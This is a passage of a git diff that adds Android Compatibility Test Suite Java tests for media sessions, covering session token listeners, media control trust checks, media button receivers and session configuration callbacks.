+            // Caller of (5) should be the same as (4), since they're called from the same
+            assertEquals(callback.mCallers.get(3), callback.mCallers.get(4));
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+            removeHandler(handler);
+        }
+    }
+
+    public void testGetSession2Tokens() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Handler handler = createHandler();
+        Executor handlerExecutor = new HandlerExecutor(handler);
+
+        Session2TokenListener listener = new Session2TokenListener();
+        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
+
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(context)
+                .setSessionCallback(handlerExecutor, sessionCallback)
+                .build()) {
+            assertTrue(sessionCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            Session2Token currentToken = session.getToken();
+            assertTrue(listContainsToken(listener.mTokens, currentToken));
+            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), currentToken));
+        }
+    }
+
+    public void testGetSession2TokensWithTwoSessions() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Handler handler = createHandler();
+        Executor handlerExecutor = new HandlerExecutor(handler);
+
+        Session2TokenListener listener = new Session2TokenListener();
+        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
+
+        try (MediaSession2 session1 = new MediaSession2.Builder(context)
+                .setSessionCallback(handlerExecutor, new Session2Callback())
+                .setId("testGetSession2TokensWithTwoSessions_session1")
+                .build()) {
+
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            Session2Token session1Token = session1.getToken();
+            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
+
+            // Create another session and check the result of getSession2Token().
+            listener.resetCountDownLatch();
+            Session2Token session2Token = null;
+            try (MediaSession2 session2 = new MediaSession2.Builder(context)
+                    .setSessionCallback(handlerExecutor, new Session2Callback())
+                    .setId("testGetSession2TokensWithTwoSessions_session2")
+                    .build()) {
+
+                assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+                session2Token = session2.getToken();
+                assertNotNull(session2Token);
+                assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
+                assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session2Token));
+
+                listener.resetCountDownLatch();
+            }
+
+            // Since the session2 is closed, getSession2Tokens() shouldn't include session2's token.
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(listContainsToken(mSessionManager.getSession2Tokens(), session1Token));
+            assertFalse(listContainsToken(mSessionManager.getSession2Tokens(), session2Token));
+        }
+    }
+
+    public void testAddAndRemoveSession2TokensListener() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Handler handler = createHandler();
+        Executor handlerExecutor = new HandlerExecutor(handler);
+
+        Session2TokenListener listener1 = new Session2TokenListener();
+        mSessionManager.addOnSession2TokensChangedListener(listener1, handler);
+
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(context)
+                .setSessionCallback(handlerExecutor, sessionCallback)
+                .build()) {
+            assertTrue(listener1.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            Session2Token currentToken = session.getToken();
+            assertTrue(listContainsToken(listener1.mTokens, currentToken));
+
+            // Test removing listener
+            listener1.resetCountDownLatch();
+            Session2TokenListener listener2 = new Session2TokenListener();
+            mSessionManager.addOnSession2TokensChangedListener(listener2, handler);
+            mSessionManager.removeOnSession2TokensChangedListener(listener1);
+
+            session.close();
+            assertFalse(listener1.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(listener2.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    public void testSession2TokensNotChangedBySession1() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Handler handler = createHandler();
+
+        Session2TokenListener listener = new Session2TokenListener();
+        List<Session2Token> initialSession2Tokens = mSessionManager.getSession2Tokens();
+        mSessionManager.addOnSession2TokensChangedListener(listener, handler);
+        MediaSession session = null;
+        try {
+            session = new MediaSession(context, TAG);
+            session.setActive(true);
+            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+            assertFalse(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            List<Session2Token> laterSession2Tokens = mSessionManager.getSession2Tokens();
+
+            assertEquals(initialSession2Tokens.size(), laterSession2Tokens.size());
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+        }
+    }
+
+    public void testCustomClassConfigValuesAreValid() throws Exception {
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+        final Context context = getInstrumentation().getTargetContext();
+        String customMediaKeyDispatcher = context.getString(
+                android.R.string.config_customMediaKeyDispatcher);
+        String customMediaSessionPolicyProvider = context.getString(
+                android.R.string.config_customMediaSessionPolicyProvider);
+        // MediaSessionService will call Class.forName(String) with the existing config value.
+        // If the config value is not valid (i.e. given class doesn't exist), the following
+        // methods will return false.
+        if (!customMediaKeyDispatcher.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaKeyDispatcher(customMediaKeyDispatcher));
+        }
+        if (!customMediaSessionPolicyProvider.isEmpty()) {
+            assertTrue(mSessionManager.hasCustomMediaSessionPolicyProvider(
+                    customMediaSessionPolicyProvider));
+        }
+    }
+
+    public void testIsTrustedForMediaControl_withEnabledNotificationListener() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            int packageUid =
+                    mContext.getPackageManager().getPackageUid(packageName, /* flags= */ 0);
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(packageName, /* pid= */ 0, packageUid);
+            assertTrue(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
+    public void testIsTrustedForMediaControl_withInvalidUid() throws Exception {
+        List<String> packageNames = getEnabledNotificationListenerPackages();
+        for (String packageName : packageNames) {
+            MediaSessionManager.RemoteUserInfo info =
+                    new MediaSessionManager.RemoteUserInfo(
+                            packageName, /* pid= */ 0, Process.myUid());
+            assertFalse(mSessionManager.isTrustedForMediaControl(info));
+        }
+    }
+
+    private boolean listContainsToken(List<Session2Token> tokens, Session2Token token) {
+        for (int i = 0; i < tokens.size(); i++) {
+            if (tokens.get(i).equals(token)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private Handler createHandler() {
+        HandlerThread handlerThread = new HandlerThread("MediaSessionManagerTest");
+        handlerThread.start();
+        return new Handler(handlerThread.getLooper());
+    }
+
+    private void removeHandler(Handler handler) {
+        if (handler == null) {
+            return;
+        }
+        handler.getLooper().quitSafely();
+    }
+
+    // This uses public APIs to dispatch key events, so sessions would consider this as
+    // 'media key event from this application'.
+    private void simulateMediaKeyInput(int keyCode) {
+        long downTime = System.currentTimeMillis();
+        mAudioManager.dispatchMediaKeyEvent(
+                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0));
+        mAudioManager.dispatchMediaKeyEvent(
+                new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
+    }
+
+    private List<String> getEnabledNotificationListenerPackages() {
+        List<String> listeners = new ArrayList<>();
+        String enabledNotificationListeners =
+                Settings.Secure.getString(
+                        mContext.getContentResolver(),
+                        ENABLED_NOTIFICATION_LISTENERS);
+        if (enabledNotificationListeners != null) {
+            String[] components = enabledNotificationListeners.split(":");
+            for (String componentString : components) {
+                ComponentName component = ComponentName.unflattenFromString(componentString);
+                if (component != null) {
+                    listeners.add(component.getPackageName());
+                }
+            }
+        }
+        return listeners;
+    }
+
+    private class VolumeKeyLongPressListener
+            implements MediaSessionManager.OnVolumeKeyLongPressListener {
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+        private final CountDownLatch mCountDownLatch;
+        private final Handler mHandler;
+
+        public VolumeKeyLongPressListener(int count, Handler handler) {
+            mCountDownLatch = new CountDownLatch(count);
+            mHandler = handler;
+        }
+
+        @Override
+        public void onVolumeKeyLongPress(KeyEvent event) {
+            mKeyEvents.add(event);
+            // Ensure the listener is called on the thread.
+            assertEquals(mHandler.getLooper(), Looper.myLooper());
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private class MediaKeyListener implements MediaSessionManager.OnMediaKeyListener {
+        private final CountDownLatch mCountDownLatch;
+        private final boolean mConsume;
+        private final Handler mHandler;
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+
+        public MediaKeyListener(int count, boolean consume, Handler handler) {
+            mCountDownLatch = new CountDownLatch(count);
+            mConsume = consume;
+            mHandler = handler;
+        }
+
+        @Override
+        public boolean onMediaKey(KeyEvent event) {
+            mKeyEvents.add(event);
+            // Ensure the listener is called on the thread.
+            assertEquals(mHandler.getLooper(), Looper.myLooper());
+            mCountDownLatch.countDown();
+            return mConsume;
+        }
+    }
+
+    private class MediaSessionCallback extends MediaSession.Callback {
+        private final CountDownLatch mCountDownLatch;
+        private final MediaSession mSession;
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+        private final List<MediaSessionManager.RemoteUserInfo> mCallers = new ArrayList<>();
+
+        private MediaSessionCallback(int count, MediaSession session) {
+            mCountDownLatch = new CountDownLatch(count);
+            mSession = session;
+        }
+
+        public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
+            KeyEvent event = (KeyEvent) mediaButtonIntent.getParcelableExtra(
+                    Intent.EXTRA_KEY_EVENT);
+            assertNotNull(event);
+            mKeyEvents.add(event);
+            mCallers.add(mSession.getCurrentControllerInfo());
+            mCountDownLatch.countDown();
+            return true;
+        }
+    }
+
+    private class Session2Callback extends MediaSession2.SessionCallback {
+        private CountDownLatch mCountDownLatch;
+
+        private Session2Callback() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                MediaSession2.ControllerInfo controller) {
+            if (controller.getUid() == Process.SYSTEM_UID) {
+                // System server will try to connect here for monitor session.
+                mCountDownLatch.countDown();
+            }
+            return new Session2CommandGroup.Builder().build();
+        }
+    }
+
+    private class Session2TokenListener implements
+            MediaSessionManager.OnSession2TokensChangedListener {
+        private CountDownLatch mCountDownLatch;
+        private List<Session2Token> mTokens;
+
+        private Session2TokenListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onSession2TokensChanged(List<Session2Token> tokens) {
+            mTokens = tokens;
+            mCountDownLatch.countDown();
+        }
+
+        public void resetCountDownLatch() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+    }
+
+    private class MediaKeyEventSessionListener
+            implements MediaSessionManager.OnMediaKeyEventSessionChangedListener {
+        CountDownLatch mCountDownLatch;
+        MediaSession.Token mSessionToken;
+
+        MediaKeyEventSessionListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        void resetCountDownLatch() {
+            mCountDownLatch = new CountDownLatch(1);
+            mSessionToken = null;
+        }
+
+        @Override
+        public void onMediaKeyEventSessionChanged(String packageName,
+                MediaSession.Token sessionToken) {
+            mSessionToken = sessionToken;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private class MediaKeyEventDispatchedListener
+            implements MediaSessionManager.OnMediaKeyEventDispatchedListener {
+        CountDownLatch mCountDownLatch;
+        KeyEvent mKeyEvent;
+        String mPackageName;
+        MediaSession.Token mSessionToken;
+
+        MediaKeyEventDispatchedListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        void resetCountDownLatch() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onMediaKeyEventDispatched(KeyEvent event, String packageName,
+                MediaSession.Token sessionToken) {
+            mKeyEvent = event;
+            mPackageName = packageName;
+            mSessionToken = sessionToken;
+
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static class HandlerExecutor implements Executor {
+        private final Handler mHandler;
+
+        HandlerExecutor(Handler handler) {
+            mHandler = handler;
+        }
+
+        @Override
+        public void execute(Runnable command) {
+            mHandler.post(command);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java
new file mode 100644
index 0000000..6edadaa
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java
@@ -0,0 +1,1194 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static android.media.AudioAttributes.USAGE_GAME;
+import static android.media.misc.cts.MediaSessionTestService.KEY_EXPECTED_QUEUE_SIZE;
+import static android.media.misc.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.misc.cts.MediaSessionTestService.KEY_SESSION_TOKEN;
+import static android.media.misc.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.misc.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.misc.cts.MediaSessionTestService.STEP_SET_UP;
+import static android.media.misc.cts.MediaSessionTestService.TEST_SERIES_OF_SET_QUEUE;
+import static android.media.misc.cts.MediaSessionTestService.TEST_SET_QUEUE;
+import static android.media.cts.Utils.compareRemoteUserInfo;
+
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaDescription;
+import android.media.MediaMetadata;
+import android.media.MediaSession2;
+import android.media.Rating;
+import android.media.VolumeProvider;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Utils;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.media.session.MediaSession.QueueItem;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.media.session.PlaybackState;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.view.KeyEvent;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionTest extends AndroidTestCase {
+    // The maximum time to wait for an operation that is expected to succeed.
+    private static final long TIME_OUT_MS = 3000L;
+    // The maximum time to wait for an operation that is expected to fail.
+    private static final long WAIT_MS = 100L;
+    private static final int MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT = 10;
+    private static final String TEST_SESSION_TAG = "test-session-tag";
+    private static final String TEST_KEY = "test-key";
+    private static final String TEST_VALUE = "test-val";
+    private static final String TEST_SESSION_EVENT = "test-session-event";
+    private static final String TEST_VOLUME_CONTROL_ID = "test-volume-control-id";
+    private static final int TEST_CURRENT_VOLUME = 10;
+    private static final int TEST_MAX_VOLUME = 11;
+    private static final long TEST_QUEUE_ID = 12L;
+    private static final long TEST_ACTION = 55L;
+    private static final int TEST_TOO_MANY_SESSION_COUNT = 1000;
+
+    private AudioManager mAudioManager;
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private Object mWaitLock = new Object();
+    private MediaControllerCallback mCallback = new MediaControllerCallback();
+    private MediaSession mSession;
+    private RemoteUserInfo mKeyDispatcherInfo;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+        mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+        mKeyDispatcherInfo = new MediaSessionManager.RemoteUserInfo(
+                getContext().getPackageName(), Process.myPid(), Process.myUid());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // It is OK to call release() twice.
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Tests that a session can be created and that all the fields are
+     * initialized correctly.
+     */
+    public void testCreateSession() throws Exception {
+        assertNotNull(mSession.getSessionToken());
+        assertFalse("New session should not be active", mSession.isActive());
+
+        // Verify by getting the controller and checking all its fields
+        MediaController controller = mSession.getController();
+        assertNotNull(controller);
+        verifyNewSession(controller);
+    }
+
+    public void testSessionTokenEquals() {
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            MediaSession.Token sessionToken = mSession.getSessionToken();
+            MediaSession.Token anotherSessionToken = anotherSession.getSessionToken();
+
+            assertTrue(sessionToken.equals(sessionToken));
+            assertFalse(sessionToken.equals(null));
+            assertFalse(sessionToken.equals(mSession));
+            assertFalse(sessionToken.equals(anotherSessionToken));
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+            }
+        }
+    }
+
+    /**
+     * Tests MediaSession.Token created in the constructor of MediaSession.
+     */
+    public void testSessionToken() throws Exception {
+        MediaSession.Token sessionToken = mSession.getSessionToken();
+
+        assertNotNull(sessionToken);
+        assertEquals(0, sessionToken.describeContents());
+
+        // Test writeToParcel
+        Parcel p = Parcel.obtain();
+        sessionToken.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        MediaSession.Token tokenFromParcel = MediaSession.Token.CREATOR.createFromParcel(p);
+        assertEquals(tokenFromParcel, sessionToken);
+        p.recycle();
+
+        final int arraySize = 5;
+        MediaSession.Token[] tokenArray = MediaSession.Token.CREATOR.newArray(arraySize);
+        assertNotNull(tokenArray);
+        assertEquals(arraySize, tokenArray.length);
+        for (MediaSession.Token tokenElement : tokenArray) {
+            assertNull(tokenElement);
+        }
+    }
+
+    /**
+     * Tests that the various configuration bits on a session get passed to the
+     * controller.
+     */
+    public void testConfigureSession() throws Exception {
+        MediaController controller = mSession.getController();
+        controller.registerCallback(mCallback, mHandler);
+        final MediaController.Callback callback = (MediaController.Callback) mCallback;
+
+        synchronized (mWaitLock) {
+            // test setExtras
+            mCallback.resetLocked();
+            final Bundle extras = new Bundle();
+            extras.putString(TEST_KEY, TEST_VALUE);
+            mSession.setExtras(extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnExtraChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onExtrasChanged(mCallback.mExtras);
+
+            Bundle extrasOut = mCallback.mExtras;
+            assertNotNull(extrasOut);
+            assertEquals(TEST_VALUE, extrasOut.get(TEST_KEY));
+
+            extrasOut = controller.getExtras();
+            assertNotNull(extrasOut);
+            assertEquals(TEST_VALUE, extrasOut.get(TEST_KEY));
+
+            // test setFlags
+            mSession.setFlags(5);
+            assertEquals(5, controller.getFlags());
+
+            // test setMetadata
+            mCallback.resetLocked();
+            MediaMetadata metadata =
+                    new MediaMetadata.Builder().putString(TEST_KEY, TEST_VALUE).build();
+            mSession.setMetadata(metadata);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnMetadataChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onMetadataChanged(mCallback.mMediaMetadata);
+
+            MediaMetadata metadataOut = mCallback.mMediaMetadata;
+            assertNotNull(metadataOut);
+            assertEquals(TEST_VALUE, metadataOut.getString(TEST_KEY));
+
+            metadataOut = controller.getMetadata();
+            assertNotNull(metadataOut);
+            assertEquals(TEST_VALUE, metadataOut.getString(TEST_KEY));
+
+            // test setPlaybackState
+            mCallback.resetLocked();
+            PlaybackState state = new PlaybackState.Builder().setActions(TEST_ACTION).build();
+            mSession.setPlaybackState(state);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlaybackStateChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onPlaybackStateChanged(mCallback.mPlaybackState);
+
+            PlaybackState stateOut = mCallback.mPlaybackState;
+            assertNotNull(stateOut);
+            assertEquals(TEST_ACTION, stateOut.getActions());
+
+            stateOut = controller.getPlaybackState();
+            assertNotNull(stateOut);
+            assertEquals(TEST_ACTION, stateOut.getActions());
+
+            // test setQueue and setQueueTitle
+            mCallback.resetLocked();
+            List<QueueItem> queue = new ArrayList<>();
+            QueueItem item = new QueueItem(new MediaDescription.Builder()
+                    .setMediaId(TEST_VALUE).setTitle("title").build(), TEST_QUEUE_ID);
+            queue.add(item);
+            mSession.setQueue(queue);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnQueueChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueChanged(mCallback.mQueue);
+
+            mSession.setQueueTitle(TEST_VALUE);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnQueueTitleChangedCalled);
+
+            assertEquals(TEST_VALUE, mCallback.mTitle);
+            assertEquals(queue.size(), mCallback.mQueue.size());
+            assertEquals(TEST_QUEUE_ID, mCallback.mQueue.get(0).getQueueId());
+            assertEquals(TEST_VALUE, mCallback.mQueue.get(0).getDescription().getMediaId());
+
+            assertEquals(TEST_VALUE, controller.getQueueTitle());
+            assertEquals(queue.size(), controller.getQueue().size());
+            assertEquals(TEST_QUEUE_ID, controller.getQueue().get(0).getQueueId());
+            assertEquals(TEST_VALUE, controller.getQueue().get(0).getDescription().getMediaId());
+
+            mCallback.resetLocked();
+            mSession.setQueue(null);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnQueueChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueChanged(mCallback.mQueue);
+
+            mSession.setQueueTitle(null);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnQueueTitleChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueTitleChanged(mCallback.mTitle);
+
+            assertNull(mCallback.mTitle);
+            assertNull(mCallback.mQueue);
+            assertNull(controller.getQueueTitle());
+            assertNull(controller.getQueue());
+
+            // test setSessionActivity
+            Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
+            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent,
+                    PendingIntent.FLAG_MUTABLE_UNAUDITED);
+            mSession.setSessionActivity(pi);
+            assertEquals(pi, controller.getSessionActivity());
+
+            // test setActivity
+            mSession.setActive(true);
+            assertTrue(mSession.isActive());
+
+            // test sendSessionEvent
+            mCallback.resetLocked();
+            mSession.sendSessionEvent(TEST_SESSION_EVENT, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+
+            assertTrue(mCallback.mOnSessionEventCalled);
+            assertEquals(TEST_SESSION_EVENT, mCallback.mEvent);
+            assertEquals(TEST_VALUE, mCallback.mExtras.getString(TEST_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onSessionEvent(mCallback.mEvent, mCallback.mExtras);
+
+            // test release
+            mCallback.resetLocked();
+            mSession.release();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSessionDestroyedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onSessionDestroyed();
+        }
+    }
+
+    /**
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonReceiver(PendingIntent).
+     */
+    public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonBroadcastReceiver.class);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
+
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the media button receiver. Framework will keep the broadcast receiver component name
+        // from the pending intent in persistent storage.
+        mSession.setMediaButtonReceiver(pi);
+
+        // Call explicit release, so change in the media key event session can be notified with the
+        // pending intent.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonBroadcastReceiver.setCallback(null);
+        }
+    }
+
+    /**
+     * Test whether media button receiver can be a explicit service.
+     */
+    public void testSetMediaButtonReceiver_service() throws Exception {
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonReceiverService.class);
+        PendingIntent pi = PendingIntent.getService(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
+
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the media button receiver. Framework would try to keep the pending intent in the
+        // persistent store.
+        mSession.setMediaButtonReceiver(pi);
+
+        // Call explicit release, so change in the media key event session can be notified with the
+        // pending intent.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonReceiverService.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonReceiverService.setCallback(null);
+        }
+    }
+
+    /**
+     * Test whether system doesn't crash by
+     * {@link MediaSession#setMediaButtonReceiver(PendingIntent)} with implicit intent.
+     */
+    public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
+        // Note: No such broadcast receiver exists.
+        Intent intent = new Intent("android.media.misc.cts.ACTION_MEDIA_TEST");
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE_UNAUDITED);
+
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the media button receiver. Framework would try to keep the pending intent in the
+        // persistent store.
+        mSession.setMediaButtonReceiver(pi);
+
+        // Call explicit release, so change in the media key event session can be notified with the
+        // pending intent.
+        mSession.release();
+
+        // Also try to dispatch media key event. System would try to send key event via pending
+        // intent, but it would no-op because there's no receiver.
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+    }
+
+    /**
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonBroadcastReceiver(ComponentName)
+     */
+    public void testSetMediaButtonBroadcastReceiver_broadcastReceiver() throws Exception {
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the broadcast receiver's component name. Framework will keep the component name in
+        // persistent storage.
+        mSession.setMediaButtonBroadcastReceiver(new ComponentName(mContext,
+                MediaButtonBroadcastReceiver.class));
+
+        // Call explicit release, so change in the media key event session can be notified using the
+        // component name.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonBroadcastReceiver.setCallback(null);
+        }
+    }
+
+    /**
+     * Test public APIs of {@link VolumeProvider}.
+     */
+    public void testVolumeProvider() {
+        VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_RELATIVE,
+                TEST_MAX_VOLUME, TEST_CURRENT_VOLUME, TEST_VOLUME_CONTROL_ID) {};
+        assertEquals(VolumeProvider.VOLUME_CONTROL_RELATIVE, vp.getVolumeControl());
+        assertEquals(TEST_MAX_VOLUME, vp.getMaxVolume());
+        assertEquals(TEST_CURRENT_VOLUME, vp.getCurrentVolume());
+        assertEquals(TEST_VOLUME_CONTROL_ID, vp.getVolumeControlId());
+    }
+
+    /**
+     * Test {@link MediaSession#setPlaybackToLocal} and {@link MediaSession#setPlaybackToRemote}.
+     */
+    public void testPlaybackToLocalAndRemote() throws Exception {
+        MediaController controller = mSession.getController();
+        controller.registerCallback(mCallback, mHandler);
+
+        synchronized (mWaitLock) {
